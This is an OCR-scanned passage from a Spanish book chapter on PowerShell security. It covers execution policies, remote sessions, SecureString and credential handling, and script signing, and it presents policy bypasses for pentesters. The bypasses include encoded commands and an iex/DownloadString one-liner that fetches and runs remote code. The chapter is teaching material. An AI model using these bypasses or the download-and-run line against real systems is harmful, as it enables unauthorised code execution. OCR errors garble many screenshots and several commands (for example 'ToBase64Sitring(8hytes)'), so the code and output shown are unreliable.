En la linea de comandos de PowerShel! existen diferentes politicas que evitan que ciertos scripts
puedan ser ejecutados por cualquier usuario. Existen ciertos métodos que permiten controlar los
permisos sobre los ficheros, incluso métodos o funciones que fortifican y aseguran las cadenas de
texto. En ciertas ocasiones estas medidas no son suficientes si no existe una configuracién correcta
del entomno. Las debilidades y errores de configuracion de los sistemas pueden provocar errores
importantes, que pueden acabar en una elevacién del privilegio o una ejecucion de cddigo arbitrario
sobre un sistema.

,Abrir los sistemas al scripting o realizar las mismas tareas todos los dias manualmente? El script
puede automatizar la realizacién de las tareas, pero es algo con lo que se debe tener cuidado, Al igual
que ocurre con el desarrollo del software, hay que probar los scripts en un entorno de no produccion,
ya que un fallo puede acabar en una catéstrofe para la organizacién. A priori, sin la lectura de su
codigo, un usuario no dispone de informacion sobre si el scripf puede ser dafiino para el sistema o el
entorno. PowerShell aporta conceptos, como los mencionados anteriormente, para evitar los riesgos
comentados.
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Politicas de ejecucion de PowerShell

La linea de comandos PowerShell dispone de un mecanismo que impide que-un .vcriplj se ejecute en
¢l equipo. Este mecanismo es la politica de ejecucion. Como se ha .mencmnado anteriormente, esta
politica de ejecucion dispone de diferentes opciones y conﬁgura.cl.ones. En un entomo l-abm:al. se
puede utilizar este mecanismo para asegurar que aplicaciones maliciosas no pueden ejecutar codigo
en el equipo para tomar ventaja en un entoriio concreto.

En el ambito del pentesting también puede ser un obstaculo, pero existen diversas maneras para
realizar un bypass de la politica de ejecucién. Algunas vias para realizar este bygass son tnv_lales,
pero efectivas. Hay que recordar que por defecto la politica configurada en los equipos es restricted,
es decir ningtin seript podrd ser ejecutado a través de la linea de comandos.

Microsoft proporciona la politica restricted con el objetivo de que los administradoresf tengan que
modificar la politica o realizar acciones concretas, las cuales se podran ver en este capitulo, con el
fin de tener conciencia de lo que se est4 haciendo en todo momento. ;Por qué realizar un bypas’-s? La
necesidad de automatizacién por parte de un usuario es una de las respuestas mas comunes o logicas

que pueden darse,

Por otro lado, si se observa desde el punto de vista del atacante. se puede suponer un escenario
dénde éste tiene acceso fisico a un equipo y tenga la necesidad de ejecutar 6rdenes desde la linea de
comandos. La linea de comandos ha llegado a ser muy popular en los altimos afios en el mundo del
pentesting, ya que se puede lograr realizar infinitud de acciones en los sistemas Microsaft.

[n la version 2 de PowerShell existen 2 politicas extra, como son bypass y undefined. La primera'es
similar a unrestricted, no bloquea ninguno, ni muestra mensaje de advertencia. La segunda il:ldlCé?
que si ninglin 4mbito dispone de una politica de ejecucion, es decir, todas son undefined, se aplicara
la politica por defecto, restricted.

Para consultar la politica de ejecucion actual se dispone del cmdlet Get-Executionpolicy. Para
cambiar la politica de ejecucion se dispone del cmdlet Ser-Executionpolicy <politica a cambiar=.

,
Ambitos

El usuario debe entender los ambitos de PowerShell, al menos tener una idea de lo que son y como
actiian. Estos aportan cierta riqueza a la linea de comandos y las acciones que se realizan en ella.
Ademis, proporcionan distincién a las politicas de ejecucion.

En la primera version de PowerShell existia (inicamente el dmbito de Local Machine, sin embargo
con la aparicion en 2009 de la version 2 aparecieron otros ambitos que se detallan a continuacion:

- Process: La politica de ejecucion afecta al proceso en curso, es decir a la sesion de
PowerShell. Este ambito no es persistente.

- CurrentUser: La politica de ejecucion afecta al usuario actual. Se almacena en el registro
de Windows en la parte correspondiente al usuario, por lo que es persistente.
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- LocalMachine: La politica de ejecucion afecta a todos los usuarios de la maquina. Se
almacena de manera persistente en la parte del registro HKEY LOCAL MACHINE.

La aplicacién de las politicas de ejecucion tiene una prioridad. Esta prioridad va en el orden en
el que se enunciaron éstas en el parrafo anterior. En otras palabras, la més prioritaria es process,
seguida de currentuser y localmachine. Cuando la politica process es declarada en undefined, se
aplica la politica currentuser. Cuando ésta también se declara como undefined, entonces se aplica
la de localmachine. Por ltimo, si todos los dmbitos son undefined, se aplica la mas restrictiva por
defecto, es decir, restricted.

El cmdlet Ger-ExecutionPolicy junto al pardmetro —Jist permite obtener las politicas de ejecucién
aplicadas a los distintos ambitos. Para configurar una politica a cualquier 4mbito se debe utilizar el
pardmetro —scope e indicar el &mbito de trabajo.

Bypass a la politica de ejecucién de PowerShell

Hay diferentes maneras para Ilevar a cabo un hypass de la politica de ejecucion de PowerShell. A
continuacién se enumeran diferentes posibilidades:

1. La primera y mas sencilla de todas es 1a de copiar y pegar el contenido de un scripf en la
consola interactiva. De esta manera tan sencilla, y teniendo acceso fisico al equipo se podrin
ejecutar las distintas instrucciones que componen el scripf que no se puede ejecutar.

2. Utilizacién del comando echo para escribir el contenido del scripz en la PowerShell y se pasa
el contenido a través de un pipe a la aplicacion PowerShell. Un ejemplo sencillo de esto seria
echo write-host “mi bypass”™ | PowerShell —noprofile - . Otra opcion es utilizar el comando car
0 Get-Content con el fin de leer de un fichero el script y pasarle las instrucciones a través de un
pipe. Por ejemplo, Get-Content script.psi | PowerShell.exe —noprofile -.

3. Se puede utilizar el argumento —command cuando se lance el binario PowerShell en la linea
de comandos. Como ejemplo se muestra el siguiente: PowerShell —command “write-host ‘esto
es un bypass'"

4. Se puede utilizar el comando Invoke-Command. Como ejemplo se muestra el siguiente:
Invoke-Command —Scriptblock {write-host ‘esto es un bypass'}.

5. Encodear el contenido del script y ejecutarlo con el argumento —EncodedCommand. En
primer lugar hay que almacenar el contenido encodeado en una variable, por ejemplo $contenido
= “write-host 'mi bypass'"'; $bytes = [System.Text. Encoding]:: Unicode. GetBytes(Scontenido);
Sencoded = [Convert]::ToBase64Sitring(8hytes). Una vez que se tiene el texto encodeado se
invoca de la siguiente manera PowerShell.exe —EncodedCommand $encoded.

6. Se puede utilizar el flag ExecutionPolicy. La sintaxis para ejecutar la instruccion seria la
siguiente PowerShell —ExecutionPolicy Bypass —File <script>. Se puede utilizar el argumento —
ExecutionPolicy para indicar la politica que se quiere utilizar, siendo Bypass una politica especial
para este tipo de casos.

7. Descargar el contenido del script y ejecutarlo invocando a PowerShell. El ejemplo de esta
via seria PowerShell —noprofile —¢ “iex(New-Object Net. WehClient). DownloadString( ‘direccio
nURL’)".
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Como se puede ver algunas de los bypass son obvios, pero muy efectivos cuando el pentester tiene
una politica que le bloquea. Disponer de acceso local permite que ¢l usuario pueda utilizar cualquiera
de estos métodos para conseguir saltarse una politica que le restrinja. Si el acceso es remoto, se
pueden utilizar algunas como por ejemplo la séptima opcion para descargarse el contenido a gjecutar
y cargarlo con PowerShell.

La ejecucion remota y cOmo comunicarse

Administrar sistemas requiere el poder consultar y ejecutar tareas sobre maquinas y recursos
con ubicaciones remotas dentro del entorno empresarial. La linea de comandos de PowerShell
proporciona la posibilidad de llevar a cabo esta gestion gracias a NET Framework. En algunas
ocasiones se puede requerir arrancar una sesion remota por lo que es necesario disponer de Windows
Remote Managemenr 2.0, que por defecto viene instalado en la maquina con Windows 7/2008 R2.

El requisito para poder aprovecharse de la ejecucion remota en cualquier maquina del dominio es
tener el acceso apropiado, es decir, ser miembro del grupo administradores de la maquina remota
o ser un administrador del dominio. PowerShell lleva a cabo la operativa de autenticacién con las
maquinas remotas, por lo que es imprescindible lo comentado anteriormente sobre ser miembro de
un grupo local administrativo o del dominio.

En este punto se puede autenticar dos usuarios con el mismo nombre y misma contrasefia en
maquinas remotas, por ejemplo el administrador local de la maquina A tiene la misma contrasefia
que el administrador local de la maquina B. Esto seria lo que se denomina Pass the hash implicito.
pero existe una opcion para poder indicar con qué conirasefia o credenciales se quiere loguear en el
sistema remoto.

Creacion y configuracion de una sesion remota

Existen gran cantidad de cmdlets en PowerShell que permiten ejecutar instrucciones remotas.
Por ejemplo para listar los servicios de una maquina remota sin necesidad de Windows Remote
Management 2.0 se puede utilizar el pardmetro computername como se menciond anteriormente,
Get-Service —ComputerName <nombremaguina> -Name EFS.

Las sesiones remotas pueden ser creadas tras habilitar Windows Remote Management. Para llevar a
cabo esta accion puede utilizarse el cmdlet Enable-PSRemoting. Para deshabilitar la gestion remota
s¢ puede utilizar el cmdlet Disable-PSRemoting. La conexion de red debe estar en un perfil de
dominio o privado, nunca publico.

Otro error muy comin es que el host al que el usuario quiera conectarse no sea de confianza,
obteniendo un error como el de la imagen.
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PS C=\lindows\systen32> New-PSSession =ComputerName hit—pc — dential $cred
[hit-pc] Error de conexién al seruvidor »emoto. Hensaje de erro El cliente WinRM no puede procesar la solicitud. Si el
esquema de autenticacidn es distinto de Ketheros o si el equipo cliente no estid unido a un dominio, se debe uzar el tw
nspoprte HITPS o agregar el equipo de destino al valor de configuracién Trustedosts. Use winrm.cnd para configurar Tri
tedHosts. Tenga encuenta que es posible que no se autentiquen los equipos de la lista TrustedHosts. Para obtener nis
informacidén. ejecute el siguiente comando: winrm help config. Pava ohtener nac informacidén, consulte el tema de la Ayad
about_Remote_Trouhleshooting.
+ Categorylnfo : OpenError: (Systﬂn.ﬁanageme....Remuteﬂunspa:e:Renuteﬂunspace) [E1, PSRemotingTransportExc
eption
+ FullvQualifiedErrorld : PSSessionOpenFailed

Fig. 1.08: Error sobre equipo remoto de no confianza.

Para solucionar esto se deben afiadir al archivo de equipos de confianza los equipos remotos que se
quieran administrar. Para ello se ejecuta la siguiente instruccion:

PS' C:\WindousN\systend2> Set—Iltem USMan:Nlocalhost\Client\TrustedHosts —Ualue hit-pc

Configuracidn de seguridad WinRM.
do modifica la lista TrustedHosts para el cliente WinRM. Los equipos de la_licga TrustedHosts podrian no
cliente podria enviar informacién de credenciales a estos equipos. ¢Estd sequro de que desea modificar

lista?
[N1 No [U] Suspender [?1 fiyuda Cel valor predeterminado os “S')= s
PS C:\Windows\system32> Neu-PSSession —ComputerNane bit-pc —Credential Scred

ComputerName State ConfigurationName Availahility

3 Session3d hit—pc Microsoft.PoverShell Available

Fig. 1.09: Correceidn del error de equipos de confianza.

Como curiosidad indicar que el valor que se asigna es el nombre de las maquinas las cuales se toman
como de confianza, un valor es posible es (*), pero no es aconsejable su uso ya que se tomarian
todos los nombres de maquina posible como de confianza. Este tltimo aporte seria negativo para la
seguridad empresarial.

Una vez se dispone del entorno preparado para crear las sesiones remotas, para esta funcién se
dispone del cmdlet New-PSSession. Este emdlet dispone de bastantes opciones interesantes, los
cuales se pueden revisar en la siguiente tabla:

Parametro Deseripeion
Credential Se especifica con que usuario y credenciales se quiere iniciar la sesion
Port Indica el puerto al que se conectara PowerShell, por defecto es puerto 80

ComputerName | Crea una conexién con la maquina que se especifica, la sesion es persistente

Utiliza el protocolo SSL para establecer la conexién, por defecto, no se usa

UseSSL .

Tabla 1.03: Parametros importantes pera la creacion de sesiones.

Para crear la sesion como el usuario con el que se estd logueado en el sistema local hay que ejecutar
New-PSSession —ComputerName <nombre mdquina>. En cualquier instante, puede ser necesario
que el usuario disponga de una sesién con otro usuario conocido en la maquina remota. Por esta razon,
se debe ejecutar la siguiente instruccion Scred = get-credential: new-PSSession —ComputerName
<nombre magquina> -Credential $cred. Esta instruccion solicita las credenciales, a través del cmdlet
Get-Credential, y después crea la sesién indicando las credenciales almacenadas con el parametro
—Credential.
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pS C=\WindowsNsystem32> Scred = Get-Credential

cndlet Get—Credential en la posicién 1 de la canalizacidn de comandos
proporcione valores para los paranetros siguientes:

dential
qgcci\ﬂinduws\sy:tan32> Scred

Password

Systen.Security.SecureString

ps C:\Uindows\system32> ch—PSSessionquonputerHane bhit-pc —Credential Scred

ComputerNane State ConfigurationNane Availability

bit-pc Opened Microsoft.PowerShell Available

Ips C:\Windowshsystem32> _

Fig. 1.10: Creacion de sesidn remota con otias eredenciales.

Si se quiere visualizar qué sesiones estan disponibles se puede utilizar el cmdlet Get-PSSession. Este
cmdlet devuelve las distintas sesiones que pueden haber creadas, ya sean locales o remotas.

Las ejecuciones remotas

Cuando se ha creado una sesion puede resultar interesante entender como se puede ejecutar
instrucciones remotas. En primer lugar se tiene que tener claro que para peder llevar a cabo {.n
cjecucion de estas instrucciones éstas deben ser especificadas como si de un seript se lramse.;l:l
cmlet que llevard a cabo la ejecucion de una instruccion remota es !m'w’(e-Cjun-nmrm:l”. Este c.'ma./c’:
proporciona al usuario 2 pardmetros comao son —Session }-'.7.‘§(=1'i;J1{!3/r7(-/(, El primer parg:mel'ro indica
(ué sesion se utilizard. mientras que el segundo indica las instrucciones que se ejecutaran en remoto.
Para simplificar este concepto un pequefio ejemplo, si se quiere gjecutar instrucciones en remoto a
través de una sesién se puede ejecutar Invake-Command - Session <Objeto Session= -SeriptBlock |
instruccion 1, instruceion 2; ... instruccion Nj. Como se menciont anteriormente para visualizar
lus distintas sesiones que puede haber y su estado se dispone de Gei-PSSession. Para obtener una
sesion y almacenarla en una variable se puede utilizar la siguiente sentencia $sesion = Ger-PSSesion

id <X>. Siendo X un entero que identifica la sesion.

PS C:\UWindows\system32> Get—PSSession

ComputerName State ConfigurationName

Availability
ssi localhost Opened

2 g:ssigzé bit—pc Bﬁoken soft.PowerShell None
Session3d hit—pc Broken icrosoft.PowerShell Naone
Sessiond bhit-pe Broken Microsoft.PowverShell None
Session5 bit-pec Broken Microsoft.FowerShell None
Sessionb bit—pc Broken Microsoft.PowerShell ..None
Session? hit—pc Opened Microsoft . PowerShell Availakle

rosoft . PowerShell Available

PS G:\WindousNsystem32> $sesion = Get-PSSession —id 7 L
PS C:\'.-l;ndm-!s\s;stem32> Invoke-Command —Session $sesion —ScriptBlock {pwd>

PSComputerName

N\Users\bit\Documents

Fig. 1.11: Eleccion de la sesion y efecucion de una instricccion remota.

Para llevar a cabo la ejecucion de varias instrucciones dentro del bloque, como se ha indicado
anteriormente, se utiliza el caracter *;’. Mas adelante se verd como ejecutar un script de forma
femota, sin tener que pegar el contenido entre las llaves.
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Utilidades remotas

Las ejecuciones y sesiones remotas abren un abanico de posibilidades en la administracion de
sistemas dentro de un entorno empresarial. En este apartado se presentan 2 utilidades esenciales
en la administracion, la posibilidad de ejecutar scripts en remoto y la posibilidad de lanzar una
PowerShell en remoto.

Para- llevar a cabo la ejecucidn de un script a través de una sesion se utiliza el emdlet Invoke-
Command junto al parametro —FilePath. Con este parametro se indica al comando dénde debe
buscar el script que se lanzard en remoto. El parametro SeriptBlock y FilePath son incompatibles,
por lo que no se puede ejecutar /nvoke-Command con ambos en la misma sentencia de la linea
de comandos. La ejecucion quedaria de la siguiente manera [nvoke-Command —Session <objeto
session=> -FilePath <Ruta del script>.

PS C:\Windows\system32> Invoke—Command —Session $sesion —FilePath ’C:\Usersipracticasciunidades.psi’

Used <GB> Free (GB> ‘Prnuider Root = me

bhit-pc

N ---it\Documents bit-pc
bit-pc

= bit-pc
= bhit-pc
bit-pc

& bit—pc
A x bit-pc
KEY_CURRENT_USER hit-pc
HKEY_LOCAL_MACHINE bit-pc
hit—pc

bit—pec

TN bit—pc

C
N
D
E
F
H

Fig. 1.12: Ejecugion de wn scripi remalo.

En la salida de los seripts remotos se da cierta informacion que quizé ¢l usuario no quiera que se
muestre como el equipo sobre el que se estd ejecutando el scripf. Para este caso se dispone del
parametro HideComputerName, con el que la ejecucion no mostrara en que equipo se llevo a cabo
el proceso.

El proceso de lanzar una PowerShell en la maquina remota puede ayudar bastante al administrador,
pentester o usuario que lo requiera en un momento dado. Esto puede ser necesario cuando un
usuario necesite manejar una shell interactiva sobre un equipo remoto para lograr ejecutar acciones
coneretas, las cuales no se encuentren automatizadas por alguna razon.

Para abrir una sesion de PowerShell en una maquina remota se puede utilizar el emdlet Enter-
PSSession. Con este emdlet solo hay que indicar cudl es la maquina sobre la que se quiere lograr el
control de la siguiente forma Enfer-PSSession —ComputerName <Nombre de la mdquina>. Si se
quiere acceder con otras credenciales que no sean las mismas con las que el usuario esta logueado
en la maquina local hay que utilizar el parametro Credential. Un posible ejemplo seria el siguiente
Sered = Get-Credential; Enter-PSSession —ComputerCame <Nombre maquina> —Credential $cred.

PS C:\Windows\system32> Scred = Get—Credential; Enter-PSSession —ComputerMName hit—pc —Credential Scred

mdlet Get—Credential en la posicidn 1 de la canalizacidn de comandos
[Proporcione valores para los pardmetros siguientes:
redential

Chit-pcl: PS C:\Users\bit:\Documents> hostnane
[bit-PC

Fig. 1.13: Lanzar una PowerShell en remoto.
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Fortificar la informacion en Ia linea de comandos

En los equipos de trabajo se pueden almacenar datos sensibles los cuales siempre deberian estar
pmtegidos de forma segura. La memoria RAM es una de esas zonas en las que por su volatilidad,
en muchas ocasiones, se piensa que es menos peligroso que la informacion no esté tan protegida. De
este modo se puede caer en un error importante, ya que seguramente la RAM almacena importancia
critica como contrasefias, identidades, trozos de ficheros sensibles, etcétera,

Esta afirmacion es una premisa en el ambito de la seguridad de la informacion. PowerShell se basa
en NET Framework para la securizacion de las cadenas de texto.

Hay que distinguir entre cadena cifrada y cadena segura. En este apartado se estudia las caracteristicas
y la manera de gestionar las cadenas seguras. Las propiedades de las cadenas seguras son las que se
pueden visualizar a continuacion.

Propiedad Descripcion

A las cadenas de texto solo se le puede afiadir texto cardcter a caracter.

Acceso controlado s g . ) e
Si se intenta agregar mds de un carécter, se producira un error

Conlenido cifrado Es el framework el encargado de cifrar cardcter por caracter

Las cadenas seguras o SecureString no se duplican en memaria, Estdn
fuera del alcance del recolector de basura de PowerShell, ya que éste
podria duplicar dicha informacion

No duplicacién

Tabla 1.04: Propiedades de las cadenas seguias en PowerShell.

Creacion de una cadena segura
En algunas ocasiones es necesario proteger la informacion que es adquirida por PowerShell, por
¢jemplo cuando un script recoge un valor sensible que es requerido al usuario. El cimdlet Read-Host
dispone de un pardmetro para proteger mediante la transformacion de la cadena de entrada en una
cadena segura la informacion. Ese parametro es AsSecureString.

C:\Users\hit @3/B82/2012 BB:23:13 > %sec = Read-Host —fsSecureString

MO R

P'S C:\Users\hit B3./82,2012 @B:23:34 > $sec

tem.Security.SecureStrin
N\Users\hit B3-82..2812 BB:23:37 > H

Fig. 1.14: Creacion de una cadena segura obtenida por teclado.

3\‘| introducir el texto se protege con asteriscos el texto sensible. El objeto no puede leerse de forma
dirccta, ya que la cadena se encuentra SR, By kg N s ot caiates Sugntg, pan
lleva explicitamente la cadena de texto en plano, por lo que no se recomienda su uso en el desarrollo
de scriprs. E1 comando ConvertTo-SecureString permite la creacion de la cadena segura a raiz de
una cadena de texto plano.
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Para ejemplificar esto se¢ muestra la siguiente instruccion ConveriTo-SecuieString  ‘prueba’ —
AsPlainText —Force. Los parametros, de tipo switch, AsPlainText y Force son imprescindibles
para crear la cadena segura. Los objetos SecueString disponen de métodos para tratar a éstos. A
continuacion se pueden estudiar distintos métodos interesantes:

Meétodo Descripeion Ejemplo
AppendChar Anexa un caracter a la cadena segura Ssec. AppendChar('x’)
Copia el objeto que contiene la
Copy p Jetoq Ssec2 = $sec.Copy()
= cadena segura
. Libera todos los recursos que utiliza . ,
Dispose g q Ssec.Dispose()
el objeto
E] contenido se hace constante. No
MakeReadOnly . Ssec. MakeReadOnly()
e puede ser modificado e
Ssec.
InsertAt/ Inserta, eliminan o modifican un InsertAi(<posicion>, <cardcter>)
RemaveAt / SetAt cardcter en la posicion indicada
Ssec. Removedi(<posicion=)

Tubla 1.05: Métados de los objetos SecureString.

Existe una curiosidad y es que si se crean 2 cadenas seguras que albergan el mismo texto, un atacante
malicioso podria intentar realizar fuerza bruta sobre ellas. En PowerShell el mismo texto cuando
es pasado a cadena segura no ¢s el mismo objeto, por lo que si se aplicase el método equals sobre
ambos objetos el valor devuelto serfa false. Microsoft consigue evitar los ataques de fuerza bruta
sobre las cadenas seguras, evitando este tipo de ataque caracteristico y consiguiendo cbtener mayor
seguridad en el tratamiento de la informacion.

ConuertTo—SecureString ’prueha’ -AsPlainText —Force

PS C:\Users\bit B3,02/2B812 AA:51:36
PS C:\Users\bit B3,/02,2612 868:55:13
System.Security.SecureStrin

g
PS C:\Users\bhit B3.,82,2012 BB:55:16

= ConvertTo—SecureString ’prueba’ —-AsPlainText “~Force
[PS C:\Users\hit 83.,02,2812 B80:55:28

[Sustem.Security.SecureString

51C=\User5\hit B3-/82,2012 BR:=55:31

alse

[PS C:\lUsers\bit B3,02,2812 BB:55:37

Fig. 1.15: 2 Cadenas seguras con el mismo texto son distintas,

Leyendo las cadenas seguras
Para la lectura de cadenas seguras se puede utilizar un método dénde el recolector de basura de
PowerShell no puede intervenir. Se copia el valor de la cadena segura a una zona de memoria donde
¢l recolector de basura no tiene acceso. Si el recolector tuviera acceso en esa zona de memoria, s¢
podria copiar el valor a otra zona dénde un atacante pudiera acceder. La técnica SecureSt.v-ingToBSTR
es la que asignard el valor de la cadena segura a una zona de memoria dénde el recolector de basur
no puede acceder. Con esta técnica se obtiene un puntero a la zona de memoria no gestionada por el

('gp.r'fm’o . Concepros bdsicos de PowerShell
recolector. Después con PrrToString Uni se duplicard el contenido de la cadena pero ya en plano. Hay
que utilizar rapidamente el valor que se ha recuperado y eliminar el puntero a la zona de memoria
no gestionada por el recolector, y la modificacién de la cadena en claro cuando ya no se necesite.

pe C:\Userssbit 03-02-2012 B1:26:81 > 5sec = Read-Host —-AsSecureString

A 1
pS Cc:=\Usersibhit 83,/082/2012 B1:26:14 > $ptr = [Systen.Runtime.InteropServices.Marshall::SecureStringToBS

7
C:\Users\bit #3,02,20812 B1:26:24 > $claro = [System.Runtime.Intei ruices g S " 3 i

gg e B s s01s Giineias > Zclare U untime.InteropServices.Marshallz :PerToStringlini
eha

P GsUsers\hit B3/82/2012 B1:26:52 > fLiberanos ptr

ps C:iUsersibit @3-/82-2912 B1:27:88 > [System.Runtime.InteropServices.Marshall::ZeroFreeCoTaskMenlnicode

Fig. 1.16: Recuperacion de una elave seguia a plano.

Las credenciales tratadas por PowerShell

Las credenciales son unas de las herramientas de autenticacion y autorizacion mas importantes v més
sensibles. Por esta razon este tipo de informacion debe estar siempre protegida y nunca almacenarse
sin proteccion, ya sea en memoria o disco. Es decir, se debe evitar el almacenamiento en texto
plano o codificacion facilmente reverseable. Anteriormente se ha mencionado que con las cadenas
seguras se tiene al alcance de la mano la posibilidad de enmascarar credenciales con el comando
Read-Host. Otro emdlet que proporciona seguridad en el momento de la captura de credenciales es
Get-Credential.

El emicller Get-Credential recoge la informacién sobre el usuario, en lo que a contrasefia y usuario
se refiere, a través de un pequeno cuadro de didlogo que sale en la interfaz grafica. Una vez se
introducen los datos de la credencial se crea un nuevo objeto de tipo PSCredential. El atributo
usuario es de tipo String, mientras que el atributo de la contrasefia es de tipo SecwreString.
C:\Users\hit B3,B2/2012 @4:13:36 > Scred = Get—Credential
ndlet Get—-Credential en la posicidn 1 de la canalizacion de comandos

'‘roporcione valores para los parametros siguientes:
2redential

Propordone sus credendiales.

ﬁ pablo

Contrasenia: eeae

Usuario;

| Aceptar I[ Cancelar l

Fig. 1.17: Captura de credenciales con Ger-Credential.

El emdlet Ger-c)

T edential tiene un uso amplio en Power ali - ;
identidad, Los e P owerShell para poder realizar tareas bajo otra

xpertos en seguridad recomiendan ne utilizar cuentas de administrador en las
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EX

sesiones de trabajo, solamente ejecutar las acciones que requieran dichos privilegios. Get-Credential
proporciona el cambio de identidad para la realizacion de acciones concretas. Como ejemplo se
propone un entorno en el que el usuario que se encuentra trabajando con una sesion, ya sea local o
remota, de PowerShell necesita copiar unos documentos sobre los que no dispone de privilegios. El
usuario podria ejecutar el comando Get-Credential para recoger las credenciales del usuario que si
tiene acceso y utilizarlas a través del parametro _Credential del comando Copy-Item. En resumen,
el usuario podria ejecutar la siguiente instruccion Copy-ltem <archivo origen= <archivo destino>
-Credential $(Get-Credential).

Scripts firmados digitalmente

Cuando se coment el apartado de las politicas de ejecucion se mostraban directivas con las que se
puede evitar el uso de scripis’y los distintos ambitos de ejecucion. Uno de los casos recomendables es
firmar digitalmente los scripts corporativos con el fin de tener un control total sobre las ejecuciones
de scripts, permitiendo solo los que estén firmados. En otras palabras, de esta forma se sabe quién
es el desarrollador del script. Existen 2 politicas que pueden trabajar con la firma de scripts:
remotesigned y allsigned.

La firma digitai puede demostrar la autenticidad e integridad de un mensaje o documento digital,
Entonces. el usuario que ejecute el serip? firmado tendra la certeza de quién lo ered y de que ¢éste no
ha sido modificado en la transmision u obtencién del seript.

;Qué es un certificado digital? ;Para qué se necesita en el firmado de scripts? Un certificado digital
es un documento con el cual un tercero, una CA o autoridad certificadora, garantiza la identidad de un
sujeto, que puede ser el firmante de un seript entre otras cosas, y una clave publica. La clave publica
que va asociada al certificado sirve para verificar que la firma del script es correcta y pertenece a
la clave privada con la que fue firmado. Gracias a la confianza que se da a la CA se puede deducir

que la clave pablica asociada en el certificado pertenece a quién se indica en éste y no a otro sujeto.

Se propone el siguiente escenario, la empresa A dispone de un certificado emitido por una CA, 0
incluso podria autofirmarlo y colocarse en posicion de CA, aungue €sto no es lo mas recomendado.
Una vez que se dispone de este rol, se puede emitir certificados que se utilizan para la firma de seripts
en la linea de comandos de PowerShell. Estos certificados llevan asociados una clave privada, la
cual se utiliza para realizar la firma del seript. Una vez que en el entorno empresarial se envien los
scripts a otras maquinas, €stas deben disponer del certificado emitido por la CA, por lo que se habrén
importado o distribuido esos certificados.

Los requisitos

El mayor de los requisitos para llevar a cabo la operativa es disponer de Microsoft Windows SDK.
Este SDK dispone de una gran cantidad de herramientas, pero la que interesa en este caso para la
creacion de certificados es makecert. Se debe tener en cuenta que para poder trabajar con makecerl
hay que gjecutar una cmd o una PowerShell como administrador. Una vez instalado, el usuario puede
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gjecutar la siguiente secuencia Inicio -> Todos los programas -> Microsoft Windows SDK v 7.0 ->
CMD Shell. Sobre CMD Shell, boton derecho ejecutar como administrador. -

Para ob.teﬁer Microsoft Windows SDK se puede descargar desde la siguiente direccion web hip.//
wwinmicrosoft.com/download/en/details.aspx? displaylong=end&id=3138 -

£7 Windows® SDK for Windows® 7 and .NET Framework 3.5 Service Pack 1

E‘ W Windoyst
& 3 Software

" Development Kit

s\’ & Windows® SDK Setup Wizard

Welcome to the Setup Wizard,

You can now install the Microsoft® Windows®
Software Development Kit for Windows 7 and .NET
Framework 3.5 Service Pack 1.

The SDK contains documentation, samples and tools
dsgmgned to help you develop software for the
Windows platform.

p ' Windows®
& T Software

' Development Kit

| Next > | | .:(;_an:ei ‘

Fig. 1.18: Microsoft Windows SDK v7.0.

Certificados

l.‘nu. vez el usuario tiene Microsoft Windows SDK instalado cn el equipo se puede crear el primer
cumhcad.n digital. Se convierte el equipo dénde se emite en CA. Para ello se ejecuta sobre la el de
Microsoft Windows SDK la instruccion que puede visualizarse en la imagen

¥ Administrador: Microsoft Windows Server 2008 DEBUG Build Environment - makecert -a shal -n ... =2 & H'!’EE”"‘![
tting SDK environment relative to C:\Program Files\Microsoft SDKs

- : =

Targeting Windows Server 2808 x86 DEBUG

::\:;lli‘njd;t{s\syste_m32>makecert ’
: ease either specify the outputCertificateFile or —ss option

: MakeCer S i ifi
i Optignglt [ basiciextended options] [outputCertificateFilel

sk (keyNane>- Subj ! i A :
: Jject’s key container name; To b i .
b t o he created pes
pe ga;]k gii}erated })rlvate key a; exportabhle B
ubject’s certificate stor stores
ge};tificate ore name that stores the output
ubject’s certificate store location
{GurrentlUseriLocalMachine> Defal
< s X ault to ’Cuprr ser’
%}el 1a1!. Numbex f:-om_l to 2731—-1. Default to he :lﬁni;::{eel
he signing authority of the certificate
G 1i}g-:_ll-.uu:ll.lal:(:ommet-c:ial}
ertificate subject X588 name (eg: CH=Fn S
Return a list of basic options % gl Rever
Return a list of extended options

{store)>
Clocation>

<number>
{authority>

<R58%name >

ystemd2>makecert —a shal -n

Ll =g K o —p — 8
oot —s» LocalMachine —eku 1_3.8:411-2?;-g?g?aghell" Tosy tootonul el

Fig. 1.19: Creacidn de la entidad certificadora de confianza.
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Una vez creado este certificado el equipo se ha convertido en una CA, se puede visualizar en el
almacén de certificados. con MMC, en la carpeta Entidades de certificacion raiz de confianza como
se ha creado. A continuacion ya se puede emitir certificados para la firma de codigo. Para lograr este

objetivo se ejecuta la instruccion de la imagen.

o | B e

IC:\Windows\systemd2> #
:N\WindowsN\systemn3d2>
:\Windows\system3d2>

IC:\WindowsNsystem32)>

C:\Windows\system32>

C:\Windouws\system32>

C:N\WindousN\system32>

[ Administrador: Microsoft Windows Server 2008 DEBUG Build Environment

C:\Windows\system32>

G:\Windous\system32> ¥
:\Windows\system3d2>
:\MHindouws\system3d2>
C:\lindows\system32>
C:\Windows\suystem32>
C:\Windows\sustem32>
C:\Windows\systemd2>
C:N\WindowsN\system32>
:\Windows\suystem32>
C:\Window ystem32>makecert —n "CN=PowerShell i64" —a shal —ss MY -pe —eku 1.3.
6.1.5.5.7.3.3 —iv root.puk —ic root.cer
ucceeded

C:\Hipdous\system32>_

=~

b e = =

Fig. 1.20: Emision del certificado con proposits de firma de cédigo.

A continuacién se detalla los significados de los pardmetros que se han utilizado para la creacion de

los certificados.

Parametro Descripcion
- Indica el algoritmo de la firma (md5/shal)
-1 Indica el nombre del certificado
- Indica que el certificado serd autofirmado
sV Indica cual es la clave privada asociada a un certificado
-5 Indica el nombre del almacén (MY=personal/Root=C4)
-sr Indica en qué zona del registro se registra el almacén del ceniﬁcado__.
silie Inserta identificadores. Fn este caso se esta in.dicando el propésito del
certificado con este codigo
-iv Indica el archivo de la clave privada
-pe Incluye la clave privada en el certificado
-ic Indica el archivo del certificado .
Tubla 1.06: Pardmetros del comanido makecert.
HEE
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por ultimo recalcar que el certificado emitido por la CA. en este caso la maquina propia del usuario,
hay que distribuirlo a las maquinas que ejecutar los scriprs firmados. De este modo ya se dispone de
la base y los certificados necesarios para la firma y verificacion de scripfs.

Firma tu script

para firmar el script simplemente hay que obtener el certificado con propésito de firma de codigo y
almacenarlo en una variable. Una vez realizada esta accion, con el emdlet Set-AuihenticodeSignature,
se aplicara la firma al seript.

Hola hit—PC\;}rablagbégn;gnzidusa4§oggl-§]1g 11
ps C:s\UsersN it /82,2012 13:45: cert = 1s —Path cert:\CurrentUser My —CodeSigningCert
